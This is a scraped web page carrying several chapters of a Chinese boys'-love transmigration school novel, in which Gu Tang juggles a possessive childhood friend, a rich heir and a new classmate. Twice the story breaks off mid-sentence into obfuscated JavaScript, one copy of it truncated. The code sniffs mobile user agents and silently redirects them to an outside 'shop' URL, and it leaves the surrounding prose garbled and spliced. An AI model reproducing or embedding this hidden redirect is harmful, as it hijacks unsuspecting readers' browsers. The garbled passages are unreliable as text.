“你…”齐晏被他清澈的目光看的有点想往后退,但是生生忍住了,“你也配和本少爷做朋友?先从跟班做起吧,我的朋友都要经历这一步的。” 顾棠面露得体的微笑,“好的,齐晏哥,我会努力转正的。” 说实话,他只擅长和背景和自己类似的,或者不如自己的人相处,他还是第一次接触齐晏这种人,本来也没想着第一次见就能成为朋友,现在已经是很好的展开了。 他只要和齐晏产生关系就好了,这关系最好还能传到周远麟耳朵里,让周远麟知道,对方并不是他生命里必要的一部分,没有对方,他也能找到更好的朋友,不会在背后说他坏话的朋友。 顾棠就是不喜欢听别人蛐蛐他,要不然他干嘛要做这么多好事?他就是虚荣,就是喜欢听别人夸他,把他的好挂在嘴边,记在心里什么的… 齐晏刚说出口就后悔了,但是已经撤回不了了,只好噔噔噔的又回了楼上,顾棠以为他是不想跟自己说话了,只有齐晏知道自己只是感到尴尬,暂时不想面对顾棠了而已。 又和齐家父母聊了两句后,顾棠看了看客厅墙壁上古朴的挂钟,礼貌的向两位长辈告了别。 顾棠走后,齐晏又慢吞吞的从楼上走下来,看见茶几上多了一袋饼干,他愣了一下,问自己母亲。 “这是刚才那小子带来的?” “嗯,说是亲手做的,这孩子对你很用心啊。”齐母笑着说。 “不过是趋炎附势之辈,说什么用不用心的……”嘴上不留情,但动作已经深深的出卖了他。 齐晏拿起那袋子包装精致的小饼干就上了楼。 * 第二天,周远麟远远的就看见顾棠背着书包进了校门,他几个跨步追上去,然后若无其事的跟对方肩并肩走着。 “不是说好昨天晚上陪我喝一杯的吗?我等你等到半夜你都没来…” 半天等不到顾棠开口的周远麟犹豫片刻,主动打破了僵局,只不过语气里明显带着幽怨。 “我昨天晚上突然头很疼,就睡得早了点,忘记告诉你一声了。” 顾棠冷冷淡淡的语气让他愣了愣,但话语中透露出的信息却让他心里一惊。 “头疼?没去医院看看吗?是不是感冒了?你昨天晚上吃药了吗?”周远麟用手背贴了贴他的额头,又试了试自己额头的温度,眼里是掩饰不住的担忧。 顾棠当初就是被他这幅样子骗过去了,误以为他真有多在乎自己,实际上背后还会说自己坏话…这种人真的让人防不胜防,又虚伪又爱装。 “已经没事了,不用你管我。” 顾棠轻哼一声,扭开头,握紧背包的两个肩带,加快脚步往教学楼的方向走去。 周远麟虽然不明白他为什么突然加快脚步,但不知是出于什么心理,他也不愿意落后,就也步子迈大了点,几步就追了上去。 “等等我啊!我这不是关心你嘛…你怎么这么爱生气啊?而且还不生别人的气,光生我的气…我在你心里真有那么重要吗?” “不,我心里可装不下你。”顾棠瞪了他一眼,心中的烦躁更甚,闷头往前走,嘴唇紧抿着。 周远麟更是一头雾水,不过这次他倒是没再追上去,而是始终和他保持着几步的距离,同时心里不住的想顾棠这次生气的原因。 这种情况以前也有过几次,但每次都是他哄几句顾棠就消了气,这次却不太一样。 难道顾棠跟别人好上了,不愿意搭理他了?光是想到这种发展,周远麟就一阵气短,心口还闷闷的发疼。 周远麟和顾棠在同一个班级,座位也紧挨着,所以无论顾棠再抵触,周远麟都还是不可避免的跟他坐到了同一排。 两人的直线距离不足一米远,近到周远麟都能隐约间闻到从顾棠身上飘散过来的淡淡花香。 是他最喜欢的茉莉花的味道。他总是打着朋友的旗号送顾棠一些情侣间才会互相送的小礼物或者鲜花饰品什么的,仗着顾棠不懂,他各种小把戏玩的乐此不疲。 也不知道是时间长了还是怎么的,慢慢的,他可能真把顾棠当成伴侣的存在了,占有欲变强了许多,有时候就连对方多和别人说句话他都要吃半天的醋。 但他深知顾棠善良的本性,这么多年来,对方就从来没对别人红过脸…害羞的那种。 顾棠对感情的了解甚至还不如周远麟这个母胎单身的,所以周远麟从来不担心对方会喜欢上谁。 但是该吃的醋还是要吃的…整天面对着顾棠这么好的人,想要忍住不犯错,实在是太难了。 更何况周远麟的定力本来就不咋地,通过每天暗戳戳的宣誓主权根本无法让他会发出一天积累的所有占有欲和负面情绪。 顾棠不理他了。周远麟无法忍受这种情况的发生,所以他现在正在绞尽脑汁的想办法让对方消气。 顾棠一直认真的盯着黑板看,是不是往本子上记两条笔记,突然,他感觉胳膊上被什么东西碰了一下,转头看过去,一个小纸团落在了他桌子上,抬头,是周远麟眼巴巴的可怜目光。 顾棠抿着唇,不情不愿的展开纸条,眸光流转间就看完了上面的二十几个字。 「棠棠,我哪里惹到你了吗?你说出来,我改还不行吗?别这么对我嘛…」 顾棠攥紧手里的笔,在那张小小的纸条上用力写下几个字,又将纸条丢了回去,正好砸在周远麟的脑袋上。 周远麟小声嘶了一声,装作被打疼的样子可怜巴巴的看向他。 …活该! 周远麟拆开纸条。 「你自己说过什么你自己知道。」 …自己说过什么?周远麟突然想起了那群总围在他身边叽叽喳喳的向他打听顾棠的习惯和喜好的纨绔子弟。 顾棠这个人真的很好很好,无论是谁跟他搭话他都会微笑着应声,搭讪什么的也都不会被拒绝,就是这样周远麟才不放心的。 他太知道天天和自己混在一起的那群人是什么性格了,花心又滥情,一个个都不知道嚯嚯过多少普通人家的男孩女孩,这样的人怎么可以被顾棠看在眼里呢?简直是脏了对方的眼。 他们会带坏顾棠的。 站在朋友的立场上,周远麟没法干涉顾棠的交友,但是暗地里赶走一些心怀不轨的人还是被他认为是自己的责任的。 顾棠很没有戒心,如果真由着他凭着一腔“热血”没完没了的交起朋友来,周远麟很担心顾棠哪天被那些所谓的朋友吃的连渣都不剩。 顾棠说的是昨天晚上的事吗?自己确实背着他说过他不少坏话来着…… 周远麟把纸条的四角都摊平,然后平平整整的叠起来放进自己校服上衣的口袋里。纪念今年在课堂上第62次和顾棠传纸条。 这堂课对周远麟来说是异常煎熬的,但顾棠时不时投过来的目光还是让他心里好受了些的。 看来顾棠只是嘴比较狠而已,心里还是很在乎自己的! 下课铃声终于响了,周远麟在座位上双拳紧握着,深吸了好几口气才蹭的一声从椅子上站起,决定去向顾棠解释清楚。 “顾棠,你说的那个游戏攻略我没太搞懂,能不能再给我讲讲呀?” …神TM“呀”!你在学校里这么夹你家里人知道吗! 周远麟面无表情的看着顾棠座位四周都围满了人,他又看了一眼教室门口,果然,已经水泄不通了,全是其他班等着顾棠上厕所的时候来个偶遇的变态男。 人群前头还有稀稀拉拉几个女孩子,都是高挑且身形匀称的——毕竟瘦弱一点的也挤不到人群最前面。 顾棠却完全不觉得这样有什么不自在的,相反,他很喜欢这种被众星捧月一般的感觉。 “我家里有我自己整理出来的攻略笔记,一会儿放学可以来我家一起玩。”顾棠笑容灿烂,漂亮到有些锋利的眉眼也柔和了下来,整个一阳光少年。 又邀请别人回家……周远麟感觉自己牙都疼了,对于这种同班同学,他还没办法代替顾棠拒绝,纠结的他两条眉毛都紧紧皱在一起了。 “哎?可、可以吗?”那名男同学也没想到自己会这么容易的就获得了顾棠的邀请,满脸都是惊喜和兴奋。 “当然可以啦,我家只有我一个人,不用担心的。”顾棠依旧没心没肺的笑着,却没想到这话一出口让他身边的一众人都开始牙疼了。 怎么可能不担心?! 他们虽然一个个都挺热情的,那是他们清楚顾棠喜欢得到他们的关注,顾棠被围着问这问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479734|201669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那只会觉得心情舒畅!没有人不开心。 但突然有一个人被邀请回家这种情况就不一样了,这可是单独相处啊!而且顾棠还说只有自己一个人在家…这不更是方便了别人的可乘之机吗! 他们顾棠后援会的成员坚决抵制这种多吃多占的恶劣行为! 也许是周围同学警告的目光太过于直接和热烈,那名男同学慢慢从狂喜的状态中摆脱了出来,连连摆手。 “还是算了吧!我晚上还要上补习班呢…顾棠,你真是个好人!” 在对面几个男生几乎能杀死人的目光的注视下,那名男同学鼓起了勇气,吼出了最后一句,然后从人群里挤了出去,径直回到了自己座位上。 他把头埋在双臂之间,身体微微耸动着,像是忍耐什么东西忍耐的极为痛苦似的。 不过顾棠已经无暇顾及他了,因为他身边刚空出的一个空缺就被另外一个男生重新堵住了。 一上午的时光很快过去,而周远麟始终没有找到机会和顾棠解释清楚,急得他眼睛都瞪红了。 中午放学,同学们都很有默契的没有再打扰顾棠,而是把空间留给了周远麟——这是他们一开始就商量好的。 周远麟给顾棠足够多的自由,不干涉他在学校里交朋友,学校里没什么家庭背景的同学们则是不能在其余时间去打扰顾棠。 这些十七八岁的少年也并不是全无心机的,他们也会害怕顾棠与他们这种的一个人关系更好,从而从从他们这个群体里脱离出去,所以就干脆连自己能和顾棠更进一步的机会都不保留。 顾棠安安静静的收拾好书桌上的书本,然后将笔袋里的饭卡揣进兜里,要走出教室门的一瞬间,他突然看了一眼身后。 “中午想吃什么?我请你。”周远麟站在他身后笑嘻嘻的抬起胳膊搭上他的肩膀。 就像两人之间从来不曾有过隔阂一样。 顾棠皱了皱眉,把他的手从自己肩上抖掉,昂着头往食堂的方向走去,不紧不慢的。 就好像是在刻意等着他追上来似的。 周远麟很识时务,屁颠屁颠的就跟了上去,心头的慌乱一点点平息了下来,于是他开始认真考虑一会儿应该怎么跟顾棠道歉。 要不直接跪地上吧。 两人还小的时候顾棠就很喜欢玩“骑大马”的游戏,那时因为住得近,他是小顾棠身边唯一的玩伴,于是就理算当然的充当了“大马”这一陪伴顾棠度过童年的重要角色。 顾棠从小到大长相都没怎么变过,性格倒是没以前幼稚了,收敛了许多…但他总觉得对方只是将自己的癖好隐藏起来了,而不是不感兴趣了。 …他才不会承认是自己也有点怀念呢! 介于周远麟全程都在犹豫和欲言又止中度过,顾棠这顿饭吃得很烦很无语。 他其实有在等着对方认错的,都认识这么多年了,他自以为对这个发小还算了解。 怎么说呢…周远麟从小到大就没对他红过一次脸,平时也都哄着他来,也就是因为这样,顾棠才不理解为什么这人会在背后抹黑他。 顾棠端着餐盘来到食堂的一个角落里坐下,没过一会儿,周远麟也端着餐盘过来了,还试探性的坐到了他对面的位置上。 顾棠低头吃饭,没有理会他。 周远麟也垂头丧气的扒拉起了餐盘里的饭菜,这种情况持续了片刻,他终于忍不住了,咬咬牙开口解释道。 “我为昨天晚上的事向你道歉!棠棠…我们已经认识这么多年了,你是了解我的,我做那些事情并不是想伤害你,而是…” 顾棠专注的盯着他,似乎是在等着他继续说下去。 “世界上有很多坏人的,棠棠…你这么善良,很容易被骗,我不想你被骗所以才想着让那群纨绔对你失去兴趣…我知道这样做不对,但是要是像这样直接告诉你的话你一定不会相信我说的…” 顾棠撇撇嘴,没有急切的反驳他,也没有接受他的认错。 “棠棠…你最好了!我们棠棠是世界上最可爱最漂亮的小天使…”周远麟越说越激动,嗓门拔的老高。 顾棠连忙捂住他的嘴,一脸羞愤的偷偷扫了一眼周围看热闹的同学,随即又狠狠瞪了他一眼。 “快闭嘴吧你!你不知羞耻可以,但我还要脸呢。” “嘿嘿…脸红了就不能生气了嗷。”周远麟偷偷亲了一口他温热的手心,脸上不由自主的露出了愚蠢的笑容。 顾棠浑身鸡皮疙瘩都起来了,嫌弃的一巴掌扇在了他脸上,然而随着这一动作两个人都愣住了,四周偷偷关注着这边的同学也都倒吸一口凉气。 这还是顾棠第一次对人使用暴力…啧,周远麟真好运。大家都纷纷露出了羡慕的表情。 嫉妒是嫉妒不起来的,因为他们都是很有自知之明的人,知道就算没有周远麟,顾棠也不会跟他们这群平凡人有太多的交集,能每天在学校里见到对方已经是顶顶幸运的事情了。 毕竟地上的烂泥怎么敢觊觎天上独一无二的月亮呢? 世界上还是正常人多,爱上一个人就要把他拉下神坛的跟自己共沉沦的自私之人还是少数。 顾棠的巴掌会不会也是香香的?周远麟以前曾经在心里意淫过这点,但从来都没有付诸于实际过,现在他倒是深有体会。 …真香!说谎的人要吞一千根针! 顾棠愣愣的看着自己泛红的掌心,唇瓣微张,眼珠都不会转了。 好机会! 周远麟知道现在是自己发挥作用的时候了,于是一把将顾棠的手腕攥住,小心翼翼都捧着他刚才扇过自己的那只手,轻柔的吹着风。 “乖乖,不疼不疼…都是我不好,要不是我惹棠棠生气的话棠棠怎么会受伤呢…” 周远麟拿起范来全然不在乎旁边双眼似乎能喷出火来的几个同班同学,语气之真挚,言辞之恳切,简直前无古人,后无来者。 10. 主角攻的阳光小跟班(二) “…别以为你这么说我就会忘了你刚才舔了我的手。” 顾棠嘴角抽搐了一下,强忍住想再甩他一巴掌的冲动,同时强压抑住心里的不自在低声警告道。 “情难自控嘛…”周远麟挠了挠头发,嘟囔了一句,结果下一秒,他就被顾棠的一记冷眼看得捂住了嘴巴,不敢再多说一个字。 如果惹顾棠生气的唯一代价就是被轻飘飘的甩上一巴掌,周远麟觉得自己可能会忍不住天天都犯贱…但是怎么可能呢? 顾棠虽然善良,但是也是记仇的,一次两次还好说,要是次数多了,说不定对方真的会下定决心跟他断绝来往呢。 周远麟完全想象不了没有顾棠的生活,只要一天见不到顾棠他就想死。 所以他绝对不会允许那种事情发生的,永远都不会。 * 顾棠并没完全相信周远麟的说辞,但对对方的态度还是舒缓了不少。 他向来吃软不吃硬的,熟悉他的人都知道他心很软,就算被惹生气了也会很快被哄好,但舍得把他惹生气的人很少很少,周远麟就算一个。 放学后,两人并肩走在路上,顾棠低着头提着地上的小石子,头顶的发旋在周远麟眼前一晃一晃的。 顾家的司机已经等在校门口了,顾棠一眼就看见了驾驶位上自家那个熟悉的保镖,眼前一亮,抬腿就要往那边跑过去,半路却被只强壮有力的胳膊拦住了。 “你——”他有些生气的瞪向来人,却意外的看见了他昨天刚找过的齐家大少爷,“晏哥,你怎么来了?”他话锋一转,语气也恢复成了平常的样子。 齐晏勾住他的肩膀,搂着他往一辆酷炫的跑车走去。 “不是说要来给我当小弟吗?哥先带你去见见世面,熟悉一下小弟的生活。” 调整好状态的齐晏比周远麟这个扮演了好几年纨绔子弟的都像纨绔子弟…不,还不止,顾棠觉得眼前这名青年更像那种会在放学后跟人约架的校霸,还是特别有钱的那种。 “棠棠,你怎么跟这种人混在一起?他手上是不是有你什么把柄啊?别害怕,我替你教训他…哎呦!” 周远麟对除顾棠以外的人都有很重的戒心,见突然不知从哪钻出来一个人拉着顾棠就要往一辆豪车上拽,他一个箭步冲至顾棠面前,做出保护者姿态。 他正一脸正义的放狠话呢,怎料一段狠话还没放完,脑袋上就狠狠挨了一下。 顾棠知道他是还在担心自己会上当受骗,本着“打个巴掌给颗甜枣”的准则,他放柔了声线。 “他叫齐晏,是齐家的大少爷,真不是什么坏人,而且我已经答应他了,你不用担心我…我这么聪明,也不是什么人都能骗得了我的。” 周远麟捂着脑袋眼巴巴的看着他,“我才不信!毕竟人外有人,天外有天,知人知面不知心…” “周远麟对吧?谢谢你照顾了顾棠这么多年,不过今天晚上就不麻烦你了,我会好好照顾他的。” 齐晏冲他露出一个可以称得上是和善的笑容,但在赵远麟听来,对方这简直就是在挑衅他! 这他能忍得了吗?肯定不能啊! “周远麟…我交个朋友都不行吗?” 眼看着两人陷入对峙,顾棠眨巴眨巴眼睛,垂下头暗自神伤起来,声音也低低哑哑的,听着就委屈的不行。 这他能受得了吗?肯定不能啊! 周远麟立刻就光棍了起来,连屁都不敢放一个,只能眼睁睁的看着两个人上了车,随着一声引擎的轰鸣声就消失在了他眼前。 …今天一天真是有够他崩溃的了。 周远麟心里突然产生了一种好不容易养大了的孩子被外面的黄毛拐跑了的莫名感觉,更让他难受的是他根本没有理由阻止顾棠做出的任何决定。 顾棠向往着被关注,同样也向往着自由,他天生就应该是备受瞩目的,不受任何束缚的。 这边,顾棠整个人都陷进了柔软的副驾驶位里,安全带束缚着他的右胸处,勒的有点难受,但他什么都没说。 不是因为他看见了后座上放着的两个又粗又长的棒球棒,心生紧张,而是因为…齐晏竟然真的说待会儿要带他去砍人! 这不是温馨纯爱的校园文吗?他为什么有种进入了热血黑/道文的既视感? 顾棠紧张之余还有点小小的兴奋感。 “下车吧。” 半个小时不到,齐晏驱车来到了一个偏僻的小巷口,一连串的轮胎与地面的摩擦声响过后,车子在路边的停车位上停了下来。 顾棠乖乖下了车,在抬头的一瞬间,他就被眼前的场景震惊到了。 只见巷子深处有几个模糊的黑影正围着什么东西在拳打脚踢,隐约间还能听到包围圈里的那“东西”发出闷哼声。 顾棠脑袋里浮现出了三个大大的问号。 齐晏牵着他的手慢慢走近,在离那几人十几米远的地方,齐晏停住了脚步。 “你待在这里不要乱跑,我解决掉这群喽啰马上就过来找你。” 现在是秋天,晚上六七点钟还是有点冷的,一阵风吹过,顾棠打了个哆嗦,忙躲到墙后只露出个小脑袋来暗暗观察着远处的几人。 可以说齐晏不愧是男主,武力值是相当可以的,三拳两脚就撂倒了几人,动作还丝毫不拖泥带水,流畅的像艺术。 “谁让你们在我的地盘上收保护费的?不知道我是谁吗?要是以后再让我看见你们出现在这片地界,你们应该知道后果的,还不快滚!” 哇!好装啊这个男的。 顾棠睁大眼睛看着几人屁滚尿流的逃跑,又将视线停留在了依旧趴在地上的那人身上。 仅仅犹豫了三秒,他就颠儿颠儿的小跑了过去。 “他还活着吗?”顾棠将头凑到齐晏身边,好奇的问道。 齐晏摸摸他的头发,想了想,“还活着,不过他怎么样都和我们没什么关系,给他叫个救护车就是仁至义尽了。” 顾棠深以为然的点了点头,然后从校服口袋里掏出手机接连按下了“1”“2”“0”三个数字,跟电话那边的人交代了一下状况和地址他就挂了电话。 不过…发生了斗殴事件应该要先报警的吧? 顾棠抬头看了一眼面色平静的齐晏,背过身去拨打了“110”。 齐晏瞥了他一眼,在看到他手机界面上的那三个数字后挑了挑眉,抬手从他手里将手机抽走,顺手按下了息屏键。 “我已经报过了。” “啊…啊?”顾棠呆呆的看着他,嘴巴也张大了些,看着憨憨的,很惹人怜。 齐晏把手机还给他,“棠棠,没想到你还…”他找了个恰当的形容词,“挺善良正直的。” 顾棠不吭声了。 救护车很快就来了,顾棠跟着几个医护人员哼哧哼哧的把地上那人抬上了救护车,见齐晏站在原地没有要跟着上车的打算,他拉了拉对方的衣袖。 “晏哥,我们也跟着去看看他有没有什么要帮助的地方吧,就当积德了。” 清醒一点,这可是你未来的官配!还不凑上去刷刷存在感?别在背后搞无声的救赎那套了! * 到了医院,趁着齐晏跟着进了病房的空挡,顾棠跑到缴费处把医药费和住院费给交了,然后一路小跑着出了医院,随手拦下了一辆空出租车。 接下来就等着两人感情发酵,然后…等等。顾棠后知后觉的想起了自己这个世界的任务。 不是轻松的度假,也不是苦逼的剧情修复专员,而是纯正的炮灰逆袭啊!俩主角在一起了他还怎么抢戏份? 顾棠看着窗外飞驰而过的风景,心里突然生起的那点抢戏份的迫切感突然消失的一点都不剩了。 害,算了…都上车了那还说啥?总不能再让司机开回去吧?那这司机会不会觉得自己脑袋有问题呀? 等顾棠回到家的时候天色已经完全暗了下来,别墅区里黑漆漆的,只有每家每户门口才会亮起一点灯光。 顾棠之前一直都想不明白为什么这种供有钱人居住的地方会连几盏路灯都舍不得安,后来他换位思考了一下才明白过来。 可能是因为有钱人都很注重自己的个人隐私,很喜欢欲盖弥彰的给自己的住所搞一点低调的高级感…总不能是因为少几盏路灯要更节能环保吧? 顾棠晃了晃脑袋,甩掉脑海里这些奇怪的想法,打着手机手电筒慢悠悠的往家走去。 道路两旁的草地中弥漫出一股青草香味,因为周围就是人工湖,空气里还弥漫着一股潮湿气息,随风吹过皮肤的时候感到凉丝丝的,很舒服。 无意间扫过手机屏幕,他看到了主页上的一大堆未接来电和微信消息,都是周远麟打来的发来的,也不知道为什么这个人能这么执着… 顾棠只看了一眼就继续低头看着脚下的路了,他想着,等回到家再回复吧。 已经远远的能看到自己家的影子了,顾棠松了口气,心情也随之放松了不少,将手电筒的光芒往前照去,丝毫没有注意到事后慢慢靠近的黑影。 “Surprise!” 一个人在乌漆嘛黑的夜晚里,耳边传来有人踩在草地上发出的沙沙的脚步声,和那双突然捂住他眼睛的冰凉手掌…这一切都像是在恐怖片里才会发生的情节。 只有那声“Surprise”让他感到了些许安心,也认出了身后之人的身份。 “…周远麟!你要死啊,吓死我了!” 顾棠愤愤然的一把拍开他的手,瞪圆了眼睛转过身看他。 “对不起…我其实只是想在时候默默保护你的,这不是见你太没防备心了,一时没忍住嘛…” 这回,不等顾棠亲自动手周远麟就主动拉起他的手在自己脸上小小扇了一巴掌,紧接着就是以上那段完全没有安抚到顾棠的道歉话语。 这个人到底是怎么活到这么大的?家里人都没有教过他不要随便吓别人吗? 顾棠很生气,但是手被握住了,对方还握的很紧,似乎专门找了个精准的角度,既能控制住他又不会让他感觉到疼痛。 这可能是周远麟粗线条的大脑里唯一能做出的细心预警了。 “这里安保很到位,陌生人根本进不来的,我用得着你保护?”顾棠瞪着他,眼神在控诉,语气里也带着控诉。 “对不起,是我关心挺则乱了…那你为什么这么晚才回来啊?是不是齐晏缠着你不放?用不用我去教训他?” “你教训个屁!”顾棠脸黑了。 好好活着不好吗?非要去招惹这个世界的气运之子,跟找死没什么区别。 特别是这人还是打着帮自己教训齐晏的名号去找死的…要是对方直接把账算到了自己头上可怎么办? 虽然也算是一种抢戏份的方式啦…但是顾棠姑且算是个和平主义者,不想和任何人交恶。 “你竟然又为了他生我的气…”周远麟顿时面露惊愕之色,随之而来的就是硬挤出的泪水。 没有技巧,全是感情。 一想到顾棠会被小黄毛拐走,他心里的暴虐就控制不住,憋的他眼泪都出来了。 “你到底在作什么?你才是我最好的朋友,我说的还不够明显吗?别总是吃飞醋了,这一点都不像你。” 好朋友的占有欲嘛…顾棠从前遇到过太多这种人了。 后来,这种人对他的兄弟情都会慢慢演变成…爱情,天天管这管那的,还美其名曰是为了他好,最后竟然还说什么都是因为太爱他了…简直可以称得上是让他窒息了。 但对于还没点明的,顾棠把他们一律打成真·兄弟情。不要为了还没发生的事情担惊受怕——这是顾棠的处事原则。 “我是棠棠的好朋友…那他呢?他是什么?” “他是我大哥,你们差着辈呢。”顾棠眼珠子转了转,斩钉截铁道。 “他怎么能是…再说了,就算他真是那我和他也算是一个辈的吧?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479735|201669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你以前不是说要给我当狗吗?” “我…”周远麟卡壳了。 那还是他有一次喝醉,顾棠匆匆赶过来带他回家时发生的事。 当时他整个人都晕晕乎乎的,打出去一个电话后就瘫软在了沙发上,等到意识清醒了点的时候就看见顾棠那张让他魂牵梦绕了不知多少年的脸怼在他面前。 而那少年正艰难的把他扶起来,让他的脑袋靠在自己肩上,小步小步的往酒吧外面挪去。 他那时候也不知道是不是被感动到了,慢吞吞的抬手环住顾棠的脖颈,大着舌头在少年耳边呢喃道。 “好想给你当狗……唔!” 再然后他就被摔在了地上,额头一阵剧痛,似乎是破了个大口子,他甚至都能感觉到自己温热的鲜血在汩汩流出。 “你没病吧?说什么鬼话呢?” 抬头是顾棠皱着眉满脸羞愤的样子。…还挺好看的,有种鲜活的感觉。 周远麟觉得自己可能是疯了。 “解释也解释过了,能别挡我道了吗?我要回去了。” 顾棠冷着一张俏脸把他推开,举着手机,用手电筒的微弱光芒照亮了前面的路。 “那个…我今晚能不能去你家睡啊?”周远麟追在后面嚷嚷着。 “不行。”顾棠一路小跑回到家,用钥匙打开门,然后又砰的一声关上。 周远麟摸了摸自己被震得有些发麻的鼻尖,悻悻的走到了隔壁,开门,然后趴在自己房间的窗户边打量着对面那间开着灯的房间。 那是顾棠的房间,两人就住隔壁,接个梯子就能爬过去的那种距离,这也是周远麟为什么能和幼时的顾棠成为无话不谈的好朋友的原因之一。 因为他小时候很调皮,有一次就搭了个梯子想爬过去,但是刚爬到一半就往下掉,幸好他眼疾手快的一把抓住了顾棠房间外面的窗框,然后被听见声音走过来查看状况的小顾棠艰难的给拉了上去。 也就是那次两人才慢慢熟悉了起来,再后来,顾棠的父母去了国外,只留下了他和保姆住在这栋别墅里,晚上顾棠一个人睡会害怕,周远麟就主动提出了要住一起保护他的想法,对方也是这么做的。 第二天,周远麟顶着两个显眼的黑眼圈在早上7点钟准时敲响了隔壁的大门。 “棠棠!别睡了,起来上学了!” 他嗓门很大,清亮的声音回荡在空荡荡的院子里。 幸好周围只有他们两家的别墅紧紧挨在一起,其他的住宅都离得很远,要不然周远麟肯定每天都要被邻居投诉扰民了。 五六分钟后,顾棠背着书包走出来,在他殷切的照顾下端庄的抬脚上了车。 顾棠看起来真的很像那些他曾经在外国电影里看到的贵族少爷,气质像,相貌也符合,性格也是…反观自己就差的远了,活脱脱一个暴发户。 一路上周远麟都叽叽喳喳的说个不停,而顾棠似乎经过了昨天一晚上也消了气,笑着和他交谈着,时不时还要怼上两句,两人之间的相处方式好像又回到了以前。 到了学校门口,周远麟满脸带着笑扶着顾棠下了车,两人并肩朝教室走着,周围的同学时不时朝他们露出善意的微笑或者有礼貌的打招呼。 周远麟早就习惯了跟顾棠走在一起这种引人注目的感觉,他骄傲的挺起了胸膛,似乎是在炫耀。 正好注意到他的动作的人纷纷露出嫌恶的表情,等这些人把目光移向他身边的顾棠时脸上又默默挂上了迷之微笑。 双标的简直不要太明显。但周远麟没有感到一点点被忽视的失落感,反而更加洋洋得意了。 看什么看?看也没用,他是我的! 周远麟这种好心情一直持续到上课铃声响之前。 铃声响了,班主任从门外带着一个陌生少年走进教室,全班同学都将视线投了过去,那被一双双或好奇或带着疑惑的眼睛的少年慢吞吞的抬起头,露出一张清秀的脸。 顾棠愣了一下。因为他昨晚才刚见过这名少年——赵培,这个世界的主角受,也是唯二的气运之子。 班主任拿着粉笔在黑板上刷刷刷写下他的名字,拍了拍他的肩膀,让他在同学们面前做个自我介绍。 赵培紧抿着的唇瓣慢慢松开,小声朝教室里所有人打了个招呼,声音很清透,很好听,就是听着有点有气无力的。 “你们好,我叫赵培…以后就是这个班级的一员了,希望大家多多关照。” 教室里响起稀稀拉拉的掌声,顾棠也跟着鼓了两下掌,有些漫不经心。 他在想,为什么赵培会在这个时间出现在这个地点,这完全脱离了剧情,也极度不符合常理。 是蝴蝶效应吗?自己进入这个世界,然后对这个世界的原本剧情造成了些许微不足道的影响…可能吧。 顾棠出了一会儿神,等思绪回转的时候就发现身边的座位上多了个人。 他和周远麟都坐在倒数第二排,因为现在是深秋季节,而教室里因为要通风的缘故时常开着窗户,坐在窗边可能会感冒,所以那个位置是空着的,现在,赵培就坐在了那里,正好挨着顾棠。 周远麟眼睁睁看着那个新来的瘦弱少年径直走向顾棠,然后坐在了顾棠旁边的座位上…明明前面还有很多空位,他却偏偏要坐在那里,这意图也太明显了吧? 有一个被顾棠的美貌迷住的失足少年…啧啧啧,真是有够肤浅的。 他自己就不一样了,他看中的是顾棠有趣的灵魂!他和这群肤浅的货色可是有本质上的区别的! 周远麟整整一上午都在关注着赵培,从上课等到了下课,又等到了上课,完全没有看见对方朝顾棠的方向多看哪怕一眼。 甚至到最后他都有点怀疑是不是自己判断错误了。难道是顾棠的魅力下降了?还是这是个可以免疫他这个好兄弟的美貌攻击的神人啊? 周远麟其实打心底里更偏向于第一种,但是理智又强迫他选择了第二种。 11. 主角攻的阳光小跟班(三) 顾棠最喜欢受人瞩目了,要是身边突然变得冷冷清清了肯定会很伤心的,靠自己一个人根本哄不好的!而且他也舍不得看顾棠伤心难过。 很快,一天就过去了,周远麟揉了揉酸涩的眼睛,心里对新同学的戒心已经降到了最低点。 但接下来的一幕就让他惊掉了下巴。 “同学…谢谢你昨天晚上救了我,我会还你钱的,请给我你的联系方式。” 说着,赵培颤抖着手指捏着一张小纸条,弯腰递到顾棠眼前,把姿态放的很低。 …哎? 顾棠扶着额头沉默了三秒,试图将他的注意力转移回齐晏身上。 “你看我这么弱不经风的,怎么可能救得了你?都是晏哥帮的你…如果你需要的话我可以把他的微推给你。” 他摇了摇头,固执道,“我知道,医药费是你垫上的,医生说要不是你缴费缴的及时我…”他顿了一下,“总之请给我你的联系方式,我会想办法把钱还给你的…” “不是…你是来碰瓷的吧?得了便宜还卖乖,没看见顾棠不想你纠缠他吗?” 周远麟一把从他手里抢过纸条撕得粉碎,一点都不客气的挡在他面前,让他无法与顾棠继续“眉目传情”。 赵培,光听名字还以为是个多彪悍的人,实际上这人的长相和彪悍一点都不挨边,反而有点小家碧玉的意思,那张脸俊秀的像个女孩子一样,性格也很温吞,认识他的人从来没见他冲谁发过火。 赵培的身形很瘦削,柔柔弱弱的站在那就给人一种好像受了欺负似的感觉。 “你说的太过了…” 顾棠扯了扯周远麟校服的衣摆,示意他闪开,后者则是不情不愿的挪走,眼神里似乎还有些幽怨和不甘心。 顾棠没理他,而是从笔记本里撕了张纸,刷刷刷的写下一串数字,递给赵培。 “喏,这是我的号码,以后要是有什么困难的话可以打给我,不过还钱就算了,等你先渡过难关再说吧。” 说完,顾棠就拽着周远麟走出了教室,独留赵培捏着手里那张仿佛还带着一丝对方身上的温度的纸条发呆。 将对方对他说的那句话反反复复的回味,赵培从中提取出了一个重要的信息,那就是顾棠可能在背后悄悄的关注着他。 